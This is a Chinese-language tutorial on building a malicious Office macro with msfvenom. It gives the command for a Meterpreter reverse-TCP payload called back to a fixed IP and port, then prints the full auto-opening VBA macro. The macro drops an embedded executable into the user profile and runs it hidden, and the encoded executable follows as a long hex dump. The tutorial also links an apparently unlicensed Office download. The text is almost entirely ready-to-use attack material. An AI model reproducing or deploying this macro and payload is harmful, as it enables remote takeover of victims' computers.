前提条件

• windows 目标机器安装 office（以 office 2007 为例）

  • 下载地址：https://pan.baidu.com/s/18fE7oGUwxDwi9P_2GdQtHA?pwd=q5ew
    

    Windows 安装 office 2007

    解压，运行 setup.exe，输入激活码，其余默认即可
    

    

    Msfvenom 生成 vba 宏脚本

    msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.225.128 lport=4444 -e x86/shikata_ga_nai -i 10 -f vba-exe

    

    得到 vba 脚本与编码之后的 payload 两部分内容

  

Sub Auto_Open()
        Cbjrz12
End Sub

Sub Cbjrz12()
        Dim Cbjrz7 As Integer
        Dim Cbjrz1 As String
        Dim Cbjrz2 As String
        Dim Cbjrz3 As Integer
        Dim Cbjrz4 As Paragraph
        Dim Cbjrz8 As Integer
        Dim Cbjrz9 As Boolean
        Dim Cbjrz5 As Integer
        Dim Cbjrz11 As String
        Dim Cbjrz6 As Byte
        Dim Lyxtdaxkmq as String
        Lyxtdaxkmq = "Lyxtdaxkmq"
        Cbjrz1 = "bDaENUDWQKFzN.exe"
        Cbjrz2 = Environ("USERPROFILE")
        ChDrive (Cbjrz2)
        ChDir (Cbjrz2)
        Cbjrz3 = FreeFile()
        Open Cbjrz1 For Binary As Cbjrz3
        For Each Cbjrz4 in ActiveDocument.Paragraphs
                DoEvents
                        Cbjrz11 = Cbjrz4.Range.Text
                If (Cbjrz9 = True) Then
                        Cbjrz8 = 1
                        While (Cbjrz8 < Len(Cbjrz11))
                                Cbjrz6 = Mid(Cbjrz11,Cbjrz8,4)
                                Put #Cbjrz3, , Cbjrz6
                                Cbjrz8 = Cbjrz8 + 4
                        Wend
                ElseIf (InStr(1,Cbjrz11,Lyxtdaxkmq) > 0 And Len(Cbjrz11) > 0) Then
                        Cbjrz9 = True
                End If
        Next
        Close #Cbjrz3
        Cbjrz13(Cbjrz1)
End Sub

Sub Cbjrz13(Cbjrz10 As String)
        Dim Cbjrz7 As Integer
        Dim Cbjrz2 As String
        Cbjrz2 = Environ("USERPROFILE")
        ChDrive (Cbjrz2)
        ChDir (Cbjrz2)
        Cbjrz7 = Shell(Cbjrz10, vbHide)
End Sub

Sub AutoOpen()
        Auto_Open
End Sub

Sub Workbook_Open()
        Auto_Open
End Sub

Lyxtdaxkmq
&H4D&H5A&H90&H00&H03&H00&H00&H00&H04&H00&H00&H00&HFF&HFF&H00&H00&HB8&H00&H00&H00&H00&H00&H00&H00&H40&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H80&H00&H00&H00&H0E&H1F&HBA&H0E&H00&HB4&H09&HCD&H21&HB8&H01&H4C&HCD&H21&H54&H68&H69&H73&H20&H70&H72&H6F&H67&H72&H61&H6D&H20&H63&H61&H6E&H6E&H6F&H74&H20&H62&H65&H20&H72&H75&H6E&H20&H69&H6E&H20&H44&H4F&H53&H20&H6D&H6F&H64&H65&H2E&H0D&H0D&H0A&H24&H00&H00&H00&H00&H00&H00&H00&H50&H45&H00&H00&H4C&H01&H03&H00&H92&HC5&H8B&H40&H00&H00&H00&H00&H00&H00&H00&H00&HE0&H00&H0F&H03&H0B&H01&H02&H38&H00&H02&H00&H00&H00&H0E&H00&H00&H00&H00&H00&H00&H00&H10&H00&H00&H00&H10&H00&H00&H00&H20&H00&H00&H00&H00&H40&H00&H00&H10&H00&H00&H00&H02&H00&H00&H04&H00&H00&H00&H01&H00&H00&H00&H04&H00&H00&H00&H00&H00&H00&H00&H00&H40&H00&H00&H00&H02&H00&H00&H46&H3A&H00&H00&H02&H00&H00&H00&H00&H00&H20&H00&H00&H10&H00&H00&H00&H00&H10&H00&H00&H10&H00&H00&H00&H00&H00&H00&H10&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H30&H00&H00&H64&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H2E&H74&H65&H78&H74&H00&H00&H00&H28&H00&H00&H00&H00&H10&H00&H00&H00&H02&H00&H00&H00&H02&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H20&H00&H30&H60&H2E&H64&H61&H74&H61&H00&H00&H00&H90&H0A&H00&H00&H00&H20&H00&H00&H00&H0C&H00&H00&H00&H04&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H20&H00&H30&HE0&H2E&H69&H64&H61&H74&H61&H00&H00&H64&H00&H00&H00&H00&H30&H00&H00&H00&H02&H00&H00&H00&H10&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H40&H00&H30&HC0&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&HB8&H00&H20&H40&H00&HFF&HE0&H90&HFF&H25&H38&H30&H40&H00&H90&H90&H00&H00&H00&H00&H00&H00&H00&H00&HFF&HFF&HFF&HFF&H00&H00&H00&H00&HFF&HFF&HFF&HFF&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&HDB&HD1&HBA&HAA&HDA&HC9&HE6&HD9&H74&H24&HF4&H5E&H33&HC9&H66&HB9&H04&H02&H31&H56&H1A&H83&HC6&H04&H03&H56&HBC&H38&H3C&HD7&H00&HD4&HB7&H08&HC0&H25&HAC&HD7&HF0&H41&HA5&H08&H4D&H9F&H49&HB2&HC0&H7A&H6E&H9A&H6E&H5F&H65&H45&HA5&H56&H34&HE0&H88&H00&H24&H0E&H82&HC3&HC9&HD0&H40&HFA&HC2&H07&H94&H8C&H8D&H47&H8A&H77&H65&H0D&HC8&H74&H47&H40&HE7&HD9&HEE&H48&HFF&H7B&H97&H2A&H61&HDB&H8C&HCB&H0B&H1F&H8A&H5E&HE1&H2D&H52&HF7&H79&H22&H06&HAF&H93&H74&HAD&H40&H6A&H2E&H07&H13&H60&H1E&H69&HA4&H50&HE9&HD8&HA2&H49&H4B&HC6&H69&H04&H26&H6C&H19&H67&H00&HAC&H02&HC2&H43&H67&HA7&H63&HAB&HE5&H20&H01&HE6&HF4&H6D&HB2&H2E&H04&HDB&H27&H59&HC2&H57&H0F&H47&H45&HE5&H53&H77&HDB&H4B&H4B&HEF&H96&H11&HC1&HA6&H1E&HBC&HF9&HEE&H77&HD4&HC4&HA6&H77&HD3&HE7&HC6&H1C&HEE&H68&HFF&H80&HCF&HD9&HA1&H5D&H92&H0A&H6B&HFE&HA8&H1D&HB0&H65&H7B&H77&HE6&H95&H6C&HAD&H2C&H1D&H73&H00&H38&H8B&H82&H87&H7E&H31&H92&HE7&HA7&H08&HD2&HB0&HE2&H1A&HC8&HAB&H53&HE3&H45&H3E&HB5&H80&H88&H03&HF2&HFA&HED&H6D&H5A&H6A&HBE&H10&H36&HC9&H06&H53&H9D&H42&HFF&H86&H5E&HA9&H7A&H1F&H33&HB6&H86&H61&H74&H1A&H77&HDE&HBC&H93&H67&H5E&HCA&HE8&H62&H7A&H73&H59&HD6&H90&HC4&H87&HA2&H8A&H2B&H97&H6E&HEB&HAA&H27&HFC&H25&HFB&HA2&H2C&HF2&HD8&HC8&HC6&HDB&HC8&H55&HDC&H45&HF8&HEE&HE1&H8C&HFA&H86&H33&HC4&HCD&HC7&HCC&HF2&H24&HA0&HF5&H53&H4A&H47&HC2&H1E&H96&HCF&HD3&H43&H6D&HE5&H73&H1F&HE0&H14&HC6&H8D&H3B&H34&H59&H3E&H51&HAC&HEC&HC9&H57&H8F&H0A&HC2&HAE&H57&H70&HFD&HE7&H9E&H05&HC6&HD0&H28&H95&H67&H5E&H63&HE1&HB6&H9B&H91&H02&HAB&HDD&H14&HAF&H31&HDD&HAC&H6E&H59&H6C&HE3&H4C&HD7&H54&HE5&H97&HC3&HB9&HE6&H04&H36&H6A&HE7&HBD&H73&H27&HDD&H5F&H10&H90&H9E&HCB&H19&H61&H4A&H22&H86&HB8&H4B&H72&H46&HA1&H09&H5C&H08&HBE&H6D&H6B&HBD&H6F&H97&H3F&H88&HAA&H6F&H46&H77&H33&HC1&HE6&HD8&HD5&HD7&H16&H99&H93&H01&H3B&H2F&H5B&H4C&H8A&H39&H24&H63&HB9&H3D&H4B&H3D&HE2&H08&HC0&H07&H5D&H7F&H0D&H9F&HE5&HCB&H54&HFF&HBA&HD4&H0A&H48&H89&HBD&H70&H6C&H68&H70&H5B&H48&H21&H20&H95&HC5&H7E&H3D&H93&HE4&H9B&HDC&H9A&H50&H06&HCC&H4D&H9B&H3E&H0B&HBA&H0F&H9D&H81&HCF&H89&H8A&HF5&HB1&H52&H07&H2F&HFD&H35&HB5&H93&H61&H0D&HBF&HC9&HEB&H11&H06&H8C&H94&H34&HC4&HDB&H13&HE1&HD7&H6B&H41&HAD&HAB&H3A&H89&H96&H4C&HF7&H83&H5E&H9D&HE7&H32&H1C&H02&HB5&H63&HFB&H0A&H65&H83&HEE&H96&HF3&H54&H2E&H37&H77&HB6&H49&H1D&HB6&HB0&H6F&HA1&HE7&H47&H77&H7D&H29&H1F&HB3&HD4&H81&H9E&HC4&H49&HB1&H78&H76&HA8&HD3&H3E&HA6&H67&H4E&HB3&HBD&HA0&H62&HC3&HFA&H98&H00&H94&H5D&HE8&H6F&H28&H39&H16&HDA&HF5&H29&H03&HFB&H35&HB6&HAD&H2F&H67&HAC&HBA&H44&H7C&HAC&H1A&HB1&H3F&H90&HC1&HC3&H6A&HC2&H33&H03&H22&H39&H02&HA8&H41&HB9&H49&H17&H96&HBA&H87&H9C&H07&HD2&H2F&H34&H69&HC1&HCF&H57&HBD&HC7&H05&H75&H40&H2E&HD4&HB7&HAC&HF5&H3C&HF9&H4A&H41&HF3&H8B&H9F&H25&H65&HBF&HB9&H27&H3C&H94&HE4&H1D&H27&H22&H4A&HE1&HC2&H34&H76&H96&H69&H0E&H1F&H8B&H59&HEF&H18&H6D&HF9&HEC&HCF&H5A&H28&HD3&HB3&H13&H0F&H54&HCB&H98&HA3&HA3&H4E&H40&H69&H16&H04&H17&H0A&H8F&HBE&H95&HEE&H60&H07&HF9&HD2&H90&H62&H71&H6C&H87&H01&HE3&HA0&H9C&HEF&H28&H25&H78&HAE&HA2&H43&H23&H7D&H7D&HFF&H5B&H43&H3E&H11&HA1&H3C&H2A&H76&HCE&H41&HC9&H50&H09&H89&H9B&H7A&HFB&H70&HBA&H73&HF7&H59&H92&H98&HE8&HC8&H26&H5C&HDD&HE8&H51&HCE&H0E&H00&H52&HDA&H30&H7B&HFC&H7D&HF4&HC9&H1A&HCB&H40&H2D&H27&H77&H20&H4D&H18&H0D&H8B&H0F&H84&H91&H82&HD4&HFA&H0A&HDE&HC3&HF8&H25&HA1&H9C&HDB&HFB&H12&HDC&HE8&H33&H40&HF7&HB9&H08&H09&H9C&HDC&H2C&HE7&H26&HAB&H46&H47&H8D&H9B&H78&HD0&H48&HBF&H5E&H0E&H3D&HC1&H2C&HFD&H72&HF1&HC3&HC9&H0F&H7E&H8A&H15&HD1&H51&HE8&HA1&H3B&H02&H9A&H65&HA5&HDD&H7E&H3E&H89&H53&H97&H83&H36&H13&H36&H49&H42&H44&HC6&H86&H7D&H51&HE9&H40&H1D&H47&H7D&HD9&HC8&H77&HD1&H73&H85&H2C&HD9&H30&H1C&H29&HEE&H56&H5B&H92&H13&H82&HE7&HF0&HAD&HC9&HB1&HAE&H50&HB3&HCE&HAE&H08&HF6&HEA&HFF&H99&H89&HFA&H31&H42&H0E&H73&H53&H8B&HF9&H72&H65&H7C&HB0&H05&HE2&H40&H09&H8C&HAC&H3E&H97&HC6&HB5&HEA&H95&H33&HE1&H95&H04&HCF&H6F&H97&H17&H70&H36&HE9&HB2&H98&H2D&H5A&HBE&HAA&H54&H16&H46&HB6&HD4&HEB&H59&H9D&HB9&HB7&HCC&H40&H23&HF5&HDE&HE0&HF3&H59&H45&HF2&HD3&HAE&H3E&H1A&H9F&HFB&H33&H08&H6C&H11&H19&H68&H30&HB0&H58&H24&H6E&H8A&HA9&H29&H5A&HAB&H03&H91&H43&H39&H07&H4A&HDF
&H2A&H2A&HA0&HFE&HA9&H5F&H90&HB7&HF2&H87&HA6&H56&H35&HD4&HA8&H5B&H96&H57&HAE&H06&HF1&H8B&HDB&H6A&HFA&H5B&H2E&H73&H93&HC3&HCD&HAC&HD1&H8C&H2A&H54&HB8&H93&H1E&H45&H9E&H09&H7B&H1C&HE6&H54&HD7&HD8&HE6&HC1&H80&H3C&H4B&H05&H45&H2F&HD3&HD0&HA9&HA7&H77&H33&H4B&HC8&H9D&HCB&H42&H5D&H85&H08&HAD&H23&H72&HB7&H96&H2D&H9E&HD5&H04&H9F&H9D&H16&H68&H29&H8F&H31&H66&HBD&H13&H6F&H41&HA3&H22&H39&HDB&H27&H5D&H95&H86&HE5&H5A&H01&H14&HDE&H9C&HA1&H09&HD6&H92&H8A&HAA&H4C&HEB&H04&HBB&H9A&H3C&HB2&H1F&H74&H8D&H5E&H3E&HD5&H73&H0D&HAA&H20&H77&HAC&H53&H96&HB7&HE3&H73&H4C&HE6&H62&H4F&H2B&H5B&H9A&H75&HC9&HC9&H0A&HE0&H1A&HB4&H8C&H98&H38&H9F&HF8&HAD&H3E&H86&HBC&H82&H97&HFA&HDF&HFE&H57&HEC&H94&HBF&H5A&H23&H57&H1F&H0D&H7A&HE7&H0A&H6D&HC1&HEA&H87&HC9&HEE&HBE&HEF&H07&H29&H9F&H3E&H75&H84&H76&H22&H6F&H0E&H7E&H7B&H1D&HCC&HB8&H4C&H08&H04&HB2&H44&H7F&HB2&H5D&HA1&H9D&HA7&HC6&HD3&H71&HE2&H85&H4D&H27&HAC&H1F&H04&HF8&H92&H6A&H15&H8A&H7C&HDA&H58&H6C&H6A&HFF&H3F&HA9&H1F&HE1&HCF&H0A&HD3&H0D&H37&H78&H13&H07&HF4&H90&HA4&HAD&H2F&H9C&H5A&H75&H16&HDF&HB3&H08&H84&H36&HC3&HB8&H48&H01&HB6&H6C&HE6&H66&H4B&HCC&H4B&H8E&H53&H1D&H2C&H94&HE5&HB7&HD5&HAC&HBD&H73&HA2&H1F&H71&H8B&H02&H7F&H74&H20&H98&HBB&H46&H68&H68&H86&H3A&H63&H9A&HB4&H48&H84&H85&H27&H82&H4C&HB7&H1C&H49&H60&HDF&H8C&HD3&H54&H78&H2F&HD2&H09&H14&HE8&H83&HF5&H47&HC0&H57&HD3&HF7&H17&H67&H2D&H5C&H7D&HAD&H3E&H34&HC8&HCB&HC5&H85&H24&H1F&H2C&HA5&H39&H49&H8C&HED&H53&HB1&H59&H27&HE5&H7E&HF0&HA6&H52&H5B&HEE&HAB&HAB&H5A&HBE&H9B&H34&H37&H6B&H02&HBB&H59&H50&H8C&HA5&H99&HD5&H7A&HBC&H68&H41&HBB&HA0&HA6&H0C&H3A&H60&H3D&HF6&H84&HFB&H2B&H99&H29&H0B&H04&H81&HB5&H86&H85&H6D&HF1&HDE&HBD&H45&H4E&H37&HB8&HE4&H6C&H12&HCA&H0E&HAF&HE3&HF6&HC8&HEF&H41&HD8&HF8&H49&HF8&H58&H36&H44&H04&H27&H6C&H53&HEE&H3B&H28&H72&H6E&HB7&HE1&HFE&H30&HA3&HB0&H16&H17&H4B&H50&H87&H96&H5D&H63&H88&HE8&HDE&H0B&H59&H32&HCC&H23&H6A&H03&H89&HC0&H3A&H58&HEE&H29&HCE&H9B&H68&H0B&H07&H1A&H66&H24&H74&H99&HB3&H30&HA2&HE7&H90&HEE&H07&HD0&H3E&H9F&H92&HB0&H58&H78&HAB&H9A&H30&HED&HE7&H6E&H6A&H9A&H40&H76&H50&H75&HF1&H62&H27&H3A&H27&HC4&H91&H81&H62&H58&HE4&HDD&HA6&H97&H16&H66&HFC&H9F&HA2&H2A&H16&H33&HC4&HA2&H76&H96&H1E&HE5&HFC&H6D&HE8&HEC&H7A&H41&H5D&H07&HBC&HC8&H8C&H2B&H4A&HB9&H67&H42&H55&H2A&HA2&H5F&H59&HEE&HC1&H63&HAC&HBC&HF8&H07&HD5&H3A&HEB&HBF&H8D&H49&HA6&H25&H37&H8B&H35&H39&HFC&H38&HB0&H41&HA5&HDE&H62&HF6&HE8&HE3&H65&HA4&H25&H91&H84&HD1&H9D&HB3&HC0&HAD&HF2&H48&HEE&HC5&HA3&H22&HF7&HCD&H0E&HE6&HCA&H1F&H18&H2B&H7F&H54&H15&HD1&H94&H57&H7F&HAD&HA5&H6E&HCF&HCE&HA4&H67&H66&H85&HD7&HDC&H95&HB2&HA6&HEC&H3F&HAB&H1E&H0E&H47&H1E&H8B&HA8&HEA&H48&H2E&H62&H64&H75&HB1&HE6&H89&H49&HAD&H4F&H1C&H30&HA7&H3B&H59&HE9&H85&H12&HA9&H64&H0B&H26&HBE&HC2&H38&HE7&H98&H15&H42&H6D&H0C&H89&H83&H82&HA7&H6F&HE7&HF8&HCD&H38&HF0&HF0&H84&HD0&H3D&H0F&HFD&HD1&H8C&H56&H65&H92&H83&HDF&HFE&HCB&HF8&H96&H1E&HF8&HFB&H42&H1F&H27&HD7&HE1&H5E&H79&H8D&H98&H50&H3E&H40&H04&HD5&H3F&HA4&H4C&H92&HC9&HC1&H76&HE9&HAE&H5E&H97&H42&H26&HAD&H3B&HF1&HAF&H1F&H27&H00&HA5&H53&HC9&HF9&H38&H42&H2C&HF5&HE3&H80&HCF&H97&H29&HAE&HB1&H2E&HDB&H58&H00&HBB&H36&HD8&H7D&H73&H8D&HC9&HF1&H99&H29&HFE&H2B&HD6&HFC&HB2&HAE&H06&H8A&HD4&HFB&H21&HEA&H6F&HDB&H4F&H2E&H1A&H21&HCC&HB9&H2D&H2B&H30&HFA&H8C&H6E&HC1&H8C&HE3&HF9&HDA&HCA&HE7&H02&HF4&HFE&H16&H9E&H9C&H3E&H3F&HE2&HB6&H9F&HC1&H50&H6E&HD7&H94&H37&HC4&H90&H7F&H00&HF1&HC0&H3E&HEC&H90&H9A&H91&HE9&H42&H51&H4D&HAB&HE1&H7D&HFD&HEA&H2C&HF5&H3E&HC4&H64&HE3&HA5&H3C&HBE&HC3&HD4&HA0&H02&HD4&H72&H3C&H07&H5C&H6D&H1C&H9D&H9A&HD1&H9E&H29&HA6&H4D&H78&H42&H4B&H77&HAE&H8B&HC5&H22&H2E&HE1&HCE&H1D&HC1&H05&H18&H1E&HC5&H2D&HD0&H05&H54&H71&HD6&HE9&H88&HB3&H50&HD0&H66&HAF&H0D&HF1&HC1&HBD&H2A&H74&H17&HE4&H50&H5B&HB6&HE0&H4C&HA0&HED&HC6&H2F&HA9&HB6&HCD&HB6&HB3&HA9&H77&H9C&HF3&H4C&HB4&H45&H8A&HB6&H85&H55&H76&HA7&H7D&H34&HC8&HB9&H80&HA3&H1F&H1C&H0A&H6A&HD7&H4E&H8F&H3D&HEB&H78&H23&H1A&H7C&HB6&H48&H70&H36&H51&H47&H53&HB1&H3E&H10&H2B&HE9&HE3&H7C&H0C&HAC&HDE&H7A&H36&H6C&H7D&H9E&H8C&H98&HBA&HA0&HFF&H1F&HC3&H19&HC4&H0D&H41&HE3&HB7&H59&H16&HA3&H82&H51&H38&HAF&HF9&H20&H51&H49&HDE&H7B&H25&H4F&H4A&HC0&HE1&H6D&H4B&H57&HFF&H54&HBF&HD2&HE9&H2A&H2C&HBC&HC2&H27&H3C&H40&H49&H96&HA3&H0B&H5A&H0F&H54&H73&HCF&H80&H99&H7F&HCE&HC8&H58&H58&H65&H34&H25&H95&HF2&H9B&HE4&H0B&H23&H1F&H27&HB3&HA3&H11&H80&HC7&H2C&HB5&HAD&H13&H72&H7C&HE1&H00&H6F&H8E&HC0&HA0&HEA&HED&H79&H03&HC6&H5F&HAB&HCC&H39&H97&H87&H1E&H92&H7E&H3B&HCD&HE4&H17&H7E&HDC&H2B&HED&H36&H4A&H20&HFD&HEA&H22&H70&H3B&H24&H0E&HA6&H00&HF3&HDA&HD1&HB6&H9C&H6B&H56&HE0&HAA&HCE&H72&HAD&H0B&HCF&H82&H6F&HAE&H7B&HE2&H31&HD1&H92&H2D&H75&HCB&H44&HDF&HDC&HF0&H7D&HCB&H21&HF6&H47&HF5&HB6&H8C&H7C&H59&H66&H42&H68&HC8&H27&H89&H1D&HD9&H7E&HD6&H90&H9E&HA3&H95&H19&H50&HCD&HF3&HA3&H3E&HB6&H3A&HB9&H7B&H92&HF9&HF7&HEC&H2B&HED&H96&H91&HC8&HB1&HF4&HD2&H2E&H2E&HB4&H5E&HED&HF9&H17&H0D&H89&H4B&H7A&HBB&HA7&H97&HEB&H0C&H3D&HA4&HE3&H36&HE3&HCA&H55&H4D&H96&HEE&HE7&H8A&HFF&HCE&HC8&H19&H60&H92&H3E&H35&H37&H40&H03&HF4&H41&HDF&H50&HF9&H2A&H78&H60&H90&H28&HF7&H7E&H70&HA8&HCA&H85&H15&HB7&H5C&HB9&H2F&H26&HE6&HFB&H12&H1C&HA9&HB0&H70&H1F&H41&H40&HC8&H38&H25&H24&H22&H17&H10&HE0&HCD&HAD&H68&HE9&H46&HFD&HED&HB3&H07&H2D&H07&HC1&HE1&H5C&H52&HA5&H4E&H09&H56&H54&H11&HED&H9F&H18&HEF&H09&H0F&H47&H2D&HFE&H2B&HD4&H47&H54&H2D&HA9&HB7&H6F&H61&H7D&HE3&H39&HB4&HB4&HFE&H01&HAA&H99&H5C&H00&H6A&H6C&HC4&HE6&H52&HAF&H14&H79&H7A&HE7&H3C&HEC&HC6&H39&H97&H44&HAF&H42&HC6&H06&H74&HAC&H77&HC1&H43&HED&H19&HE7&HE5&HFF&H92&HD3&H57&HA4&HE2&HF7&H24&HF5&HF3&H6B&H71&HF3&H4B&HC1&H86&HAF&HFB&HF5&H7B&H62&HAA&H40&H44&H3F&HB0&H93&H3C&H8E&H04&HC7&H77&H9A&H48&H80&H7C&HA4&H4E&H23&H1B&HA7&H27&H55&H61&H5D&H06&H9F&HC2&H5A&HF0&HB2&H9F&H5A&H64&H0E&H71&HB7&H44&H40&H6A&H77&H41&H4A&H18&H4D&H6B&HB9&H9E&HC4&H5C&HEF&H54&HC7&H1A&H34&H1B&H4C&H72&H4F&H03&H54&H8C&H57&H99&H5D&HFF&HE7&H9A&H1F&HCC&H66&H7F&H83&H1A&H4F&H37&H94&HE4&HF5&H3D&HA0&H97&HDF&H73&HC7&H1D&H0F&HF2&HF2&H1E&H92&H64&HF6&H26&H63&H78&H65&HBF&H1F&H3D&H8B&H80&H39&H76&H02&H10&HC5&H96&H4D&H6F&H91&HCA&H88&H0A&HBC&H3B&HB3&H54&HE9&H5D&H41&H52&HC8&HC1&H08&H54&H78&HE0&HE6&HEA&H27&HAB&H70&HBA&H37&HAA&H0D&H1C&HD4&H1B&H04&H09&HF1&H70&H42&H07&H05&H88&H01&HDC&HA1&H64&H48&HC3&HF6&H59&H3F&HAB&H92&HB0&HF5&H6D&H86&HF3&HCF&H7F&HEC&H4C&H02&HAF&H4E&H69&H7C&H41&HF7&H48&HB7&H61&HE8&H01&H14&H05&H18&H16&HA3&HAE&H24&H05&H69&H8A&H16&H2A&HA9&HA1&HEA&HDF&H1A&H9E&HEE&H68&H7C&HEE&HBC&H68&H55&H7A&H28&H0E&H95&H90&H13&HA5&HB5&HF4&H7D&H72&H99&HEF&H09&HEE&H9C&H78&HF5&H77&HAB&H9F&HFE&H9F&H2B&HEB&HAA&H27&H19&HDB&H15&HFB&H26&H74&H83&H5F&HF0&HE2&HFB&HB9&H1F&H37&HAF&H1F&HB2&HBA&HBE&H4B&H27&H9A&HD0&HAB&HBB&H87&H19&H30&HE0&H2B&H62&HBF&H26&H4F&H9D&HB8&HD2&H4E&H5A&H87&HD1&HA6&H19&HC9&H06&H77&H9E&H3F&H68&H44&H84&HCB&H04&H53&HC2&H9A&H06&H67&H68&H12&H25&H5D&HCC&H7C&H89&H5C&H0D&H65&HC6&H93&HD7&HC3&H92&HF6&H82&H9E&H11&HCC&HE0&H82&H5E&H30&H67&H6B&HC3&H40&H89&H3D&H4F&H07&HBA&H6C&H55&H74&H71&H23&H13&H37&H36&H98&HF5&H1B&H6C&H29&HD5&HFA&HFA&H2C&H04&HF5&HFB&H20&HB5&HB5&H14&H91&H7C&H64&HAE&HFC&HC3&HA1&H45&H9C&H1D&HCE&H20&HE5&H92&H7A&H64&HBF&H33&HE1&H63&H8F&HBD&HFE&HEE&H09&HC6&HBA&HE4&H08&HC0&HB1&H45&HEC&HA2&H74&H4B&HAE&HC0&HED&H85&H1F&H9B&HFD&H27&H70&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00
